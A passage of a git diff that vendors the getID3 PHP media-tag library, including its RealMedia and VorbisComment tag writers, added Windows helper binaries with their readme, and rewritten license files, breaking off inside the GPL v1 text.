$CONTchunk .= (!empty($this->tag_data['copyright']) ? strlen($this->tag_data['copyright']) : ''); + + $CONTchunk .= getid3_lib::BigEndian2String((!empty($this->tag_data['comment']) ? strlen($this->tag_data['comment']) : 0), 2); + $CONTchunk .= (!empty($this->tag_data['comment']) ? strlen($this->tag_data['comment']) : ''); + + if ($this->paddedlength > (strlen($CONTchunk) + 8)) { + $CONTchunk .= str_repeat("\x00", $this->paddedlength - strlen($CONTchunk) - 8); + } + + $CONTchunk = 'CONT'.getid3_lib::BigEndian2String(strlen($CONTchunk) + 8, 4).$CONTchunk; // CONT chunk identifier + chunk length + + return $CONTchunk; + } + + /** + * @return bool + */ + public function RemoveReal() { + // File MUST be writeable - CHMOD(646) at least + if (getID3::is_writable($this->filename) && is_file($this->filename) && ($fp_source = fopen($this->filename, 'r+b'))) { + + // Initialize getID3 engine + $getID3 = new getID3; + $OldThisFileInfo = $getID3->analyze($this->filename); + if (empty($OldThisFileInfo['real']['chunks']) && !empty($OldThisFileInfo['real']['old_ra_header'])) { + $this->errors[] = 'Cannot remove Real tags from old-style file format'; + fclose($fp_source); + return false; + } + + if (empty($OldThisFileInfo['real']['chunks'])) { + $this->errors[] = 'Cannot remove Real tags because cannot find DATA chunk in file'; + fclose($fp_source); + return false; + } + $oldChunkInfo = array(); + foreach ($OldThisFileInfo['real']['chunks'] as $chunknumber => $chunkarray) { + $oldChunkInfo[$chunkarray['name']] = $chunkarray; + } + + if (empty($oldChunkInfo['CONT'])) { + // no existing CONT chunk + fclose($fp_source); + return true; + } + + $BeforeOffset = $oldChunkInfo['CONT']['offset']; + $AfterOffset = $oldChunkInfo['CONT']['offset'] + $oldChunkInfo['CONT']['length']; + if ($tempfilename = tempnam(GETID3_TEMP_DIR, 'getID3')) { + if (getID3::is_writable($tempfilename) && is_file($tempfilename) && ($fp_temp = fopen($tempfilename, 'wb'))) { + + rewind($fp_source); + fwrite($fp_temp, fread($fp_source, $BeforeOffset)); + fseek($fp_source, $AfterOffset); + while ($buffer = fread($fp_source, $this->fread_buffer_size)) { + fwrite($fp_temp, $buffer, strlen($buffer)); + } + fclose($fp_temp); + + if (copy($tempfilename, $this->filename)) { + unlink($tempfilename); + fclose($fp_source); + return true; + } + unlink($tempfilename); + $this->errors[] = 'FAILED: copy('.$tempfilename.', '.$this->filename.')'; + + } else { + $this->errors[] = 'Could not fopen("'.$tempfilename.'", "wb")'; + } + } + fclose($fp_source); + return false; + } + $this->errors[] = 'Could not fopen("'.$this->filename.'", "r+b")'; + return false; + } + +} diff --git a/vendor/james-heinrich/getid3/getid3/write.vorbiscomment.php b/vendor/james-heinrich/getid3/getid3/write.vorbiscomment.php index cde735b82c..5f89868cc3 100644 --- a/vendor/james-heinrich/getid3/getid3/write.vorbiscomment.php +++ b/vendor/james-heinrich/getid3/getid3/write.vorbiscomment.php @@ -1,149 +1,149 @@ - // -// available at https://github.com/JamesHeinrich/getID3 // -// or https://www.getid3.org // -// or http://getid3.sourceforge.net // -///////////////////////////////////////////////////////////////// -// see readme.txt for more details // -///////////////////////////////////////////////////////////////// -// // -// write.vorbiscomment.php // -// module for writing VorbisComment tags // -// dependencies: /helperapps/vorbiscomment.exe // -// /// -///////////////////////////////////////////////////////////////// - - -class getid3_write_vorbiscomment -{ - /** - * @var string - */ - public $filename; - - /** - * @var array - */ - public $tag_data; - - /** - * Any non-critical errors will be stored here. - * - * @var array - */ - public $warnings = array(); - - /** - * Any critical errors will be stored here. - * - * @var array - */ - public $errors = array(); - - public function __construct() { - } - - /** - * @return bool - */ - public function WriteVorbisComment() { - - if (preg_match('#(1|ON)#i', ini_get('safe_mode'))) { - $this->errors[] = 'PHP running in Safe Mode (backtick operator not available) - cannot call vorbiscomment, tags not written'; - return false; - } - - // Create file with new comments - $tempcommentsfilename = tempnam(GETID3_TEMP_DIR, 'getID3'); - if (getID3::is_writable($tempcommentsfilename) && is_file($tempcommentsfilename) && ($fpcomments = fopen($tempcommentsfilename, 'wb'))) { - - foreach ($this->tag_data as $key => $value) { - foreach ($value as $commentdata) { - fwrite($fpcomments, $this->CleanVorbisCommentName($key).'='.$commentdata."\n"); - } - } - fclose($fpcomments); - - } else { - $this->errors[] = 'failed to open temporary tags file "'.$tempcommentsfilename.'", tags not written'; - return false; - } - - $oldignoreuserabort = ignore_user_abort(true); - if (GETID3_OS_ISWINDOWS) { - - if (file_exists(GETID3_HELPERAPPSDIR.'vorbiscomment.exe')) { - //$commandline = '"'.GETID3_HELPERAPPSDIR.'vorbiscomment.exe" -w --raw -c "'.$tempcommentsfilename.'" "'.str_replace('/', '\\', $this->filename).'"'; - // vorbiscomment works fine if you copy-paste the above commandline into a command prompt, - // but refuses to work with `backtick` if there are "doublequotes" present around BOTH - // the metaflac pathname and the target filename. For whatever reason...?? - // The solution is simply ensure that the metaflac pathname has no spaces, - // and therefore does not need to be quoted - - // On top of that, if error messages are not always captured properly under Windows - // To at least see if there was a problem, compare file modification timestamps before and after writing - clearstatcache(); - $timestampbeforewriting = filemtime($this->filename); - - $commandline = GETID3_HELPERAPPSDIR.'vorbiscomment.exe -w --raw -c "'.$tempcommentsfilename.'" "'.$this->filename.'" 2>&1'; - $VorbiscommentError = `$commandline`; - - if (empty($VorbiscommentError)) { - clearstatcache(); - if ($timestampbeforewriting == filemtime($this->filename)) { - $VorbiscommentError = 'File modification timestamp has not changed - it looks like the tags were not written'; - } - } - } else { - $VorbiscommentError = 'vorbiscomment.exe not found in '.GETID3_HELPERAPPSDIR; - } - - } else { - - $commandline = 'vorbiscomment -w --raw -c "'.$tempcommentsfilename.'" "'.$this->filename.'" 2>&1'; - $VorbiscommentError = `$commandline`; - - } - - // Remove temporary comments file - unlink($tempcommentsfilename); - ignore_user_abort($oldignoreuserabort); - - if (!empty($VorbiscommentError)) { - - $this->errors[] = 'system call to vorbiscomment failed with message: '."\n\n".$VorbiscommentError; - return false; - - } - - return true; - } - - /** - * @return bool - */ - public function DeleteVorbisComment() { - $this->tag_data = array(array()); - return $this->WriteVorbisComment(); - } - - /** - * @param string $originalcommentname - * - * @return string - */ - public function CleanVorbisCommentName($originalcommentname) { - // A case-insensitive field name that may consist of ASCII 0x20 through 0x7D, 0x3D ('=') excluded. - // ASCII 0x41 through 0x5A inclusive (A-Z) is to be considered equivalent to ASCII 0x61 through - // 0x7A inclusive (a-z). - - // replace invalid chars with a space, return uppercase text - // Thanks Chris Bolt for improving this function - // note: *reg_replace() replaces nulls with empty string (not space) - return strtoupper(preg_replace('#[^ -<>-}]#', ' ', str_replace("\x00", ' ', $originalcommentname))); - - } - -} + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +///////////////////////////////////////////////////////////////// +// see readme.txt for more details // +///////////////////////////////////////////////////////////////// +// // +// write.vorbiscomment.php // +// module for writing VorbisComment tags // +// dependencies: /helperapps/vorbiscomment.exe // +// /// +///////////////////////////////////////////////////////////////// + + +class getid3_write_vorbiscomment +{ + /** + * @var string + */ + public $filename; + + /** + * @var array + */ + public $tag_data; + + /** + * Any non-critical errors will be stored here. + * + * @var array + */ + public $warnings = array(); + + /** + * Any critical errors will be stored here. + * + * @var array + */ + public $errors = array(); + + public function __construct() { + } + + /** + * @return bool + */ + public function WriteVorbisComment() { + + if (preg_match('#(1|ON)#i', ini_get('safe_mode'))) { + $this->errors[] = 'PHP running in Safe Mode (backtick operator not available) - cannot call vorbiscomment, tags not written'; + return false; + } + + // Create file with new comments + $tempcommentsfilename = tempnam(GETID3_TEMP_DIR, 'getID3'); + if (getID3::is_writable($tempcommentsfilename) && is_file($tempcommentsfilename) && ($fpcomments = fopen($tempcommentsfilename, 'wb'))) { + + foreach ($this->tag_data as $key => $value) { + foreach ($value as $commentdata) { + fwrite($fpcomments, $this->CleanVorbisCommentName($key).'='.$commentdata."\n"); + } + } + fclose($fpcomments); + + } else { + $this->errors[] = 'failed to open temporary tags file "'.$tempcommentsfilename.'", tags not written'; + return false; + } + + $oldignoreuserabort = ignore_user_abort(true); + if (GETID3_OS_ISWINDOWS) { + + if (file_exists(GETID3_HELPERAPPSDIR.'vorbiscomment.exe')) { + //$commandline = '"'.GETID3_HELPERAPPSDIR.'vorbiscomment.exe" -w --raw -c "'.$tempcommentsfilename.'" "'.str_replace('/', '\\', $this->filename).'"'; + // vorbiscomment works fine if you copy-paste the above commandline into a command prompt, + // but refuses to work with `backtick` if there are "doublequotes" present around BOTH + // the metaflac pathname and the target filename. For whatever reason...?? + // The solution is simply ensure that the metaflac pathname has no spaces, + // and therefore does not need to be quoted + + // On top of that, if error messages are not always captured properly under Windows + // To at least see if there was a problem, compare file modification timestamps before and after writing + clearstatcache(); + $timestampbeforewriting = filemtime($this->filename); + + $commandline = GETID3_HELPERAPPSDIR.'vorbiscomment.exe -w --raw -c "'.$tempcommentsfilename.'" "'.$this->filename.'" 2>&1'; + $VorbiscommentError = `$commandline`; + + if (empty($VorbiscommentError)) { + clearstatcache(); + if ($timestampbeforewriting == filemtime($this->filename)) { + $VorbiscommentError = 'File modification timestamp has not changed - it looks like the tags were not written'; + } + } + } else { + $VorbiscommentError = 'vorbiscomment.exe not found in '.GETID3_HELPERAPPSDIR; + } + + } else { + + $commandline = 'vorbiscomment -w --raw -c "'.$tempcommentsfilename.'" "'.$this->filename.'" 2>&1'; + $VorbiscommentError = `$commandline`; + + } + + // Remove temporary comments file + unlink($tempcommentsfilename); + ignore_user_abort($oldignoreuserabort); + + if (!empty($VorbiscommentError)) { + + $this->errors[] = 'system call to vorbiscomment failed with message: '."\n\n".$VorbiscommentError; + return false; + + } + + return true; + } + + /** + * @return bool + */ + public function DeleteVorbisComment() { + $this->tag_data = array(array()); + return $this->WriteVorbisComment(); + } + + /** + * @param string $originalcommentname + * + * @return string + */ + public function CleanVorbisCommentName($originalcommentname) { + // A case-insensitive field name that may consist of ASCII 0x20 through 0x7D, 0x3D ('=') excluded. + // ASCII 0x41 through 0x5A inclusive (A-Z) is to be considered equivalent to ASCII 0x61 through + // 0x7A inclusive (a-z). + + // replace invalid chars with a space, return uppercase text + // Thanks Chris Bolt for improving this function + // note: *reg_replace() replaces nulls with empty string (not space) + return strtoupper(preg_replace('#[^ -<>-}]#', ' ', str_replace("\x00", ' ', $originalcommentname))); + + } + +} diff --git a/vendor/james-heinrich/getid3/helperapps/cygwin1.dll b/vendor/james-heinrich/getid3/helperapps/cygwin1.dll new file mode 100644 index 0000000000..4f2596ce3b Binary files /dev/null and b/vendor/james-heinrich/getid3/helperapps/cygwin1.dll differ diff --git a/vendor/james-heinrich/getid3/helperapps/head.exe b/vendor/james-heinrich/getid3/helperapps/head.exe new file mode 100644 index 0000000000..7f5ef8764a Binary files /dev/null and b/vendor/james-heinrich/getid3/helperapps/head.exe differ diff --git a/vendor/james-heinrich/getid3/helperapps/metaflac.exe b/vendor/james-heinrich/getid3/helperapps/metaflac.exe new file mode 100644 index 0000000000..fa62c4036f Binary files /dev/null and b/vendor/james-heinrich/getid3/helperapps/metaflac.exe differ diff --git a/vendor/james-heinrich/getid3/helperapps/readme.helperapps.txt b/vendor/james-heinrich/getid3/helperapps/readme.helperapps.txt new file mode 100644 index 0000000000..3f71a4af8a --- /dev/null +++ b/vendor/james-heinrich/getid3/helperapps/readme.helperapps.txt @@ -0,0 +1,54 @@ +///////////////////////////////////////////////////////////////// +/// getID3() by James Heinrich // +// available at http://getid3.sourceforge.net // +// or https://www.getid3.org // +// also https://github.com/JamesHeinrich/getID3 // +///////////////////////////////////////////////////////////////// +// // +// /helperapps/readme.txt - part of getID3() // +// List of binary files required under Windows for some // +// features and/or file formats // +// See /readme.txt for more details // +// /// +///////////////////////////////////////////////////////////////// + +This directory should contain binaries of various helper applications +that getID3() depends on to handle some file formats under Windows. + +The location of this directory is configurable in /getid3/getid3.php +as GETID3_HELPERAPPSDIR + +If this directory is empty, or you are missing any files, please +download the latest version of the "getID3()-WindowsSupport" package +from the usual download location (http://getid3.sourceforge.net) + + + +Included files: +===================================================== + +Taken from http://www.cygwin.com/ +* cygwin1.dll + +Taken from http://unxutils.sourceforge.net/ +* head.exe + +Taken from http://www.vorbis.com/download.psp +* vorbiscomment.exe + +Taken from http://flac.sourceforge.net/download.html +* metaflac.exe + +Taken from http://www.etree.org/shncom.html +* shorten.exe + + +///////////////////////////////////////////////////////////////// + +Changelog: + +2003.12.29: + * Initial release + +2019.07.24: + * Remove obsolete md5sum.exe, sha1sum.exe, tail.exe diff --git a/vendor/james-heinrich/getid3/helperapps/shorten.exe b/vendor/james-heinrich/getid3/helperapps/shorten.exe new file mode 100644 index 0000000000..b82d6c350b Binary files /dev/null and b/vendor/james-heinrich/getid3/helperapps/shorten.exe differ diff --git a/vendor/james-heinrich/getid3/helperapps/vorbiscomment.exe b/vendor/james-heinrich/getid3/helperapps/vorbiscomment.exe new file mode 100644 index 0000000000..dadfae44de Binary files /dev/null and b/vendor/james-heinrich/getid3/helperapps/vorbiscomment.exe differ diff --git a/vendor/james-heinrich/getid3/license.txt b/vendor/james-heinrich/getid3/license.txt index 9aa3d3d737..c67873ae69 100644 --- a/vendor/james-heinrich/getid3/license.txt +++ b/vendor/james-heinrich/getid3/license.txt @@ -1,29 +1,29 @@ -///////////////////////////////////////////////////////////////// -/// getID3() by James Heinrich // -// available at http://getid3.sourceforge.net // -// or https://www.getid3.org // -// also https://github.com/JamesHeinrich/getID3 // -///////////////////////////////////////////////////////////////// - -***************************************************************** -***************************************************************** - - getID3() is released under multiple licenses. You may choose - from the following licenses, and use getID3 according to the - terms of the license most suitable to your project. - -GNU GPL: https://gnu.org/licenses/gpl.html (v3) - https://gnu.org/licenses/old-licenses/gpl-2.0.html (v2) - https://gnu.org/licenses/old-licenses/gpl-1.0.html (v1) - -GNU LGPL: https://gnu.org/licenses/lgpl.html (v3) - -Mozilla MPL: https://www.mozilla.org/MPL/2.0/ (v2) - -getID3 Commercial License: https://www.getid3.org/#gCL (payment required) - -***************************************************************** -***************************************************************** - -Copies of each of the above licenses are included in the 'licenses' -directory of the getID3 distribution. +///////////////////////////////////////////////////////////////// +/// getID3() by James Heinrich // +// available at http://getid3.sourceforge.net // +// or https://www.getid3.org // +// also https://github.com/JamesHeinrich/getID3 // +///////////////////////////////////////////////////////////////// + +***************************************************************** +***************************************************************** + + getID3() is released under multiple licenses. You may choose + from the following licenses, and use getID3 according to the + terms of the license most suitable to your project. + +GNU GPL: https://gnu.org/licenses/gpl.html (v3) + https://gnu.org/licenses/old-licenses/gpl-2.0.html (v2) + https://gnu.org/licenses/old-licenses/gpl-1.0.html (v1) + +GNU LGPL: https://gnu.org/licenses/lgpl.html (v3) + +Mozilla MPL: https://www.mozilla.org/MPL/2.0/ (v2) + +getID3 Commercial License: https://www.getid3.org/#gCL (payment required) + +***************************************************************** +***************************************************************** + +Copies of each of the above licenses are included in the 'licenses' +directory of the getID3 distribution. diff --git a/vendor/james-heinrich/getid3/licenses/license.commercial.txt b/vendor/james-heinrich/getid3/licenses/license.commercial.txt index 94adee6caf..416e5a1469 100644 --- a/vendor/james-heinrich/getid3/licenses/license.commercial.txt +++ b/vendor/james-heinrich/getid3/licenses/license.commercial.txt @@ -1,27 +1,27 @@ - getID3() Commercial License - =========================== - -getID3() is licensed under the "GNU Public License" (GPL) and/or the -"getID3() Commercial License" (gCL). This document describes the gCL. - ---------------------------------------------------------------------- - -The license is non-exclusively granted to a single person or company, -per payment of the license fee, for the lifetime of that person or -company. The license is non-transferrable. - -The gCL grants the licensee the right to use getID3() in commercial -closed-source projects. Modifications may be made to getID3() with no -obligation to release the modified source code. getID3() (or pieces -thereof) may be included in any number of projects authored (in whole -or in part) by the licensee. - -The licensee may use any version of getID3(), past, present or future, -as is most convenient. This license does not entitle the licensee to -receive any technical support, updates or bugfixes, except as such are -made publicly available to all getID3() users. - -The licensee may not sub-license getID3() itself, meaning that any -commercially released product containing all or parts of getID3() must -have added functionality beyond what is available in getID3(); -getID3() itself may not be re-licensed by the licensee. + getID3() Commercial License + =========================== + +getID3() is licensed under the "GNU Public License" (GPL) and/or the +"getID3() Commercial License" (gCL). This document describes the gCL. + +--------------------------------------------------------------------- + +The license is non-exclusively granted to a single person or company, +per payment of the license fee, for the lifetime of that person or +company. The license is non-transferrable. + +The gCL grants the licensee the right to use getID3() in commercial +closed-source projects. Modifications may be made to getID3() with no +obligation to release the modified source code. getID3() (or pieces +thereof) may be included in any number of projects authored (in whole +or in part) by the licensee. + +The licensee may use any version of getID3(), past, present or future, +as is most convenient. This license does not entitle the licensee to +receive any technical support, updates or bugfixes, except as such are +made publicly available to all getID3() users. + +The licensee may not sub-license getID3() itself, meaning that any +commercially released product containing all or parts of getID3() must +have added functionality beyond what is available in getID3(); +getID3() itself may not be re-licensed by the licensee. diff --git a/vendor/james-heinrich/getid3/licenses/license.gpl-10.txt b/vendor/james-heinrich/getid3/licenses/license.gpl-10.txt index d2abc7f049..8de98afaaf 100644 --- a/vendor/james-heinrich/getid3/licenses/license.gpl-10.txt +++ b/vendor/james-heinrich/getid3/licenses/license.gpl-10.txt @@ -1,251 +1,251 @@ - - GNU GENERAL PUBLIC LICENSE - Version 1, February 1989 - - Copyright (C) 1989 Free Software Foundation, Inc. - 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA - - Everyone is permitted to copy and distribute verbatim copies - of this license document, but changing it is not allowed. - - Preamble - - The license agreements of most software companies try to keep users -at the mercy of those companies. By contrast, our General Public -License is intended to guarantee your freedom to share and change free -software--to make sure the software is free for all its users. The -General Public License applies to the Free Software Foundation's -software and to any other program whose authors commit to using it. -You can use it for your programs, too. - - When we speak of free software, we are referring to freedom, not -price. Specifically, the General Public License is designed to make -sure that you have the freedom to give away or sell copies of free -software, that you receive source code or can get it if you want it, -that you can change the software or use pieces of it in new free -programs; and that you know you can do these things. - - To protect your rights, we need to make restrictions that forbid -anyone to deny you these rights or to ask you to surrender the rights. -These restrictions translate to certain responsibilities for you if you -distribute copies of the software, or if you modify it. - - For example, if you distribute copies of a such a program, whether -gratis or for a fee, you must give the recipients all the rights that -you have. You must make sure that they, too, receive or can get the -source code. And you must tell them their rights. - - We protect your rights with two steps: (1) copyright the software, and -(2) offer you this license which gives you legal permission to copy, -distribute and/or modify the software. - - Also, for each author's protection and ours, we want to make certain -that everyone understands that there is no warranty for this free -software. If the software is modified by someone else and passed on, we -want its recipients to know that what they have is not the original, so -that any problems introduced by others will not reflect on the original -authors' reputations. - - The precise terms and conditions for copying, distribution and -modification follow. - - GNU GENERAL PUBLIC LICENSE - TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION - - 0. This License Agreement applies to any program or other work which -contains a notice placed by the copyright holder saying it may be -distributed under the terms of this General Public License. The -"Program", below, refers to any such program or work, and a "work based -on the Program" means either the Program or any work containing the -Program or a portion of it, either verbatim or with modifications. Each -licensee is addressed as "you". - - 1. You may copy and distribute verbatim copies of the Program's source -code as you receive it, in any medium, provided that you conspicuously and -appropriately publish on each copy an appropriate copyright notice and -disclaimer of warranty; keep intact all the notices that refer to this -General Public License and to the absence of any warranty; and give any -other recipients of the Program a copy of this General Public License -along with the Program. You may charge a fee for the physical act of -transferring a copy. - - 2. You may modify your copy or copies of the Program or any portion of -it, and copy and distribute such modifications under the terms of Paragraph -1 above, provided that you also do the following: - - a) cause the modified files to carry prominent notices stating that - you changed the files and the date of any change; and - - b) cause the whole of any work that you distribute or publish, that - in whole or in part contains the Program or any part thereof, either - with or without modifications, to be licensed at no charge to all - third parties under the terms of this General Public License (except - that you may choose to grant warranty protection to some or all - third parties, at your option). - - c) If the modified program normally reads commands interactively when - run, you must cause it, when started running for such interactive use - in the simplest and most usual way, to print or display an - announcement including an appropriate copyright notice and a notice - that there is no warranty (or else, saying that you provide a - warranty) and that users may redistribute the program under these - conditions, and telling the user how to view a copy of this General - Public License. - - d) You may charge a fee for the physical act of transferring a - copy, and you may at your option offer warranty protection in - exchange for a fee. - -Mere aggregation of another independent work with the Program (or its -derivative) on a volume of a storage or distribution medium does not bring -the other work under the scope of these terms. - - 3. You may copy and distribute the Program (or a portion or derivative of -it, under Paragraph 2) in object code or executable form under the terms of -Paragraphs 1 and 2 above provided that you also do one of the following: - - a) accompany it with the complete corresponding machine-readable - source code, which must be distributed under the terms of - Paragraphs 1 and 2 above; or, - - b) accompany it with a written offer, valid for at least three - years, to give any third party free (except for a nominal charge - for the cost of distribution) a complete machine-readable copy of the - corresponding source code, to be distributed under the terms of - Paragraphs 1 and 2 above; or, - - c) accompany it with the information you received as to where the - corresponding source code may be obtained. (This alternative is - allowed only for noncommercial distribution and only if you - received the program in object code or executable form alone.) - -Source code for a work means the preferred form of the work for making -modifications to it. For an executable file, complete source code means -all the source code for all modules it contains; but, as a special -exception, it need not include source code for modules which are standard -libraries that accompany the operating system on which the executable -file runs, or for standard header files or definitions files that -accompany that operating system. - - 4. You may not copy, modify, sublicense, distribute or transfer the -Program except as expressly provided under this General Public License. -Any attempt otherwise to copy, modify, sublicense, distribute or transfer -the Program is void, and will automatically terminate your rights to use -the Program under this License. However, parties who have received -copies, or rights to use copies, from you under this General Public -License will not have their licenses terminated so long as such parties -remain in full compliance. - - 5. By copying, distributing or modifying the Program (or any work based -on the Program) you indicate your acceptance of this license to do so, -and all its terms and conditions. - - 6. Each time you redistribute the Program (or any work based on the -Program), the recipient automatically receives a license from the original -licensor to copy, distribute or modify the Program subject to these -terms and conditions. You may not impose any further restrictions on the -recipients' exercise of the rights granted herein. - - 7. The Free Software Foundation may publish revised and/or new versions -of the General Public License from time to time. Such new versions will -be similar in spirit to the present version, but may differ in detail to -address new problems or concerns. - -Each version is given a distinguishing version number. If the Program -specifies a version number of the license which applies to it and "any -later version", you have the option of following the terms and conditions -either of that version or of any later version published by the Free -Software Foundation. If the Program does not specify a version number of -the license, you may choose any version ever published by the Free Software -Foundation. - - 8. If you wish to incorporate parts of the Program into other free -programs whose distribution conditions are different, write to the author -to ask for permission. For software which is copyrighted by the Free -Software Foundation, write to the Free Software Foundation; we sometimes -make exceptions for this. Our decision will be guided by the two goals -of preserving the free status of all derivatives of our free software and -of promoting the sharing and reuse of software generally. - - NO WARRANTY - - 9. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY -FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN -OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES -PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED -OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF -MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS -TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE -PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, -REPAIR OR CORRECTION. - - 10. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING -WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR -REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, -INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING -OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED -TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY -YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER -PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE -POSSIBILITY OF SUCH DAMAGES. - - END OF TERMS AND CONDITIONS - - Appendix: How to Apply These Terms to Your New Programs - - If you develop a new program, and you want it to be of the greatest -possible use to humanity, the best way to achieve this is to make it -free software which everyone can redistribute and change under these -terms. - - To do so, attach the following notices to the program. It is safest to -attach them to the start of each source file to most effectively convey -the exclusion of warranty; and each file should have at least the -"copyright" line and a pointer to where the full notice is found. - - - Copyright (C) 19yy - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 1, or (at your option) - any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston MA 02110-1301 USA - - -Also add information on how to contact you by electronic and paper mail. - -If the program is interactive, make it output a short notice like this -when it starts in an interactive mode: - - Gnomovision version 69, Copyright (C) 19xx name of author - Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. - This is free software, and you are welcome to redistribute it - under certain conditions; type `show c' for details. - -The hypothetical commands `show w' and `show c' should show the -appropriate parts of the General Public License. Of course, the -commands you use may be called something other than `show w' and `show -c'; they could even be mouse-clicks or menu items--whatever suits your -program. - -You should also get your employer (if you work as a programmer) or your -school, if any, to sign a "copyright disclaimer" for the program, if -necessary. Here a sample; alter the names: - - Yoyodyne, Inc., hereby disclaims all copyright interest in the - program `Gnomovision' (a program to direct compilers to make passes - at assemblers) written by James Hacker. - - , 1 April 1989 - Ty Coon, President of Vice - -That's all there is to it! + + GNU GENERAL PUBLIC LICENSE + Version 1, February 1989 + + Copyright (C) 1989 Free Software Foundation, Inc. + 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The license agreements of most software companies try to keep users +at the mercy of those companies. By contrast, our General Public +License is intended to guarantee your freedom to share and change free +software--to make sure the software is free for all its users. The +General Public License applies to the Free Software Foundation's +software and to any other program whose authors commit to using it. +You can use it for your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Specifically, the General Public License is designed to make +sure that you have the freedom to give away or sell copies of free +software, that you receive source code or can get it if you want it, +that you can change the software or use pieces of it in new free +programs; and that you know you can do these things. + + To protect your rights, we need to make restrictions that forbid +anyone to deny you these rights or to ask you to surrender the rights. +These restrictions translate to certain responsibilities for you if you +distribute copies of the software, or if you modify it. + + For example, if you distribute copies of a such a program, whether +gratis or for a fee, you must give the recipients all the rights that +you have. You must make sure that they, too, receive or can get the +source code. And you must tell them their rights. + + We protect your rights with two steps: (1) copyright the software, and +(2) offer you this license which gives you legal permission to copy, +distribute and/or modify the software. + + Also, for each author's protection and ours, we want to make certain +that everyone understands that there is no warranty for this free +software. If the software is modified by someone else and passed on, we +want its recipients to know that what they have is not the original, so +that any problems introduced by others will not reflect on the original +authors' reputations. + + The precise terms and conditions for copying, distribution and +modification follow. + + GNU GENERAL PUBLIC LICENSE + TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + + 0. This License Agreement applies to any program or other work which +contains a notice placed by the copyright holder saying it may be +distributed under the terms of this General Public License. The +"Program", below, refers to any such program or work, and a "work based +on the Program" means either the Program or any work containing the +Program or a portion of it, either verbatim or with modifications. Each +licensee is addressed as "you". + + 1. You may copy and distribute verbatim copies of the Program's source +code as you receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice and +disclaimer of warranty; keep intact all the notices that refer to this +General Public License and to the absence of any warranty; and give any +other recipients of the Program a copy of this General Public License +along with the Program. You may charge a fee for the physical act of +transferring a copy. + + 2. You may modify your copy or copies of the Program or any portion of +it, and copy and distribute such modifications under the terms of Paragraph +1 above, provided that you also do the following: + + a) cause the modified files to carry prominent notices stating that + you changed the files and the date of any change; and + + b) cause the whole of any work that you distribute or publish, that + in whole or in part contains the Program or any part thereof, either + with or without modifications, to be licensed at no charge to all + third parties under the terms of this General Public License (except + that you may choose to grant warranty protection to some or all + third parties, at your option). + + c) If the modified program normally reads commands interactively when + run, you must cause it, when started running for such interactive use + in the simplest and most usual way, to print or display an + announcement including an appropriate copyright notice and a notice + that there is no warranty (or else, saying that you provide a + warranty) and that users may redistribute the program under these + conditions, and telling the user how to view a copy of this General + Public License. + + d) You may charge a fee for the physical act of transferring a + copy, and you may at your option offer warranty protection in + exchange for a fee. + +Mere aggregation of another independent work with the Program (or its +derivative) on a volume of a storage or distribution medium does not bring +the other work under the scope of these terms. + + 3. You may copy and distribute the Program (or a portion or derivative of +it, under Paragraph 2) in object code or executable form under the terms of +Paragraphs 1 and 2 above provided that you also do one of the following: + + a) accompany it with the complete corresponding machine-readable + source code, which must be distributed under the terms of + Paragraphs 1 and 2 above; or, + + b) accompany it with a written offer, valid for at least three + years, to give any third party free (except for a nominal charge + for the cost of distribution) a complete machine-readable copy of the + corresponding source code, to be distributed under the terms of + Paragraphs 1 and 2 above; or, + + c) accompany it with the information you received as to where the + corresponding source code may be obtained. (This alternative is + allowed only for noncommercial distribution and only if you + received the program in object code or executable form alone.) + +Source code for a work means the preferred form of the work for making +modifications to it. For an executable file, complete source code means +all the source code for all modules it contains; but, as a special +exception, it need not include source code for modules which are standard +libraries that accompany the operating system on which the executable +file runs, or for standard header files or definitions files that +accompany that operating system. + + 4. You may not copy, modify, sublicense, distribute or transfer the +Program except as expressly provided under this General Public License. +Any attempt otherwise to copy, modify, sublicense, distribute or transfer +the Program is void, and will automatically terminate your rights to use +the Program under this License. However, parties who have received +copies, or rights to use copies, from you under this General Public +License will not have their licenses terminated so long as such parties +remain in full compliance. + + 5. By copying, distributing or modifying the Program (or any work based +on the Program) you indicate your acceptance of this license to do so, +and all its terms and conditions. + + 6. Each time you redistribute the Program (or any work based on the +Program), the recipient automatically receives 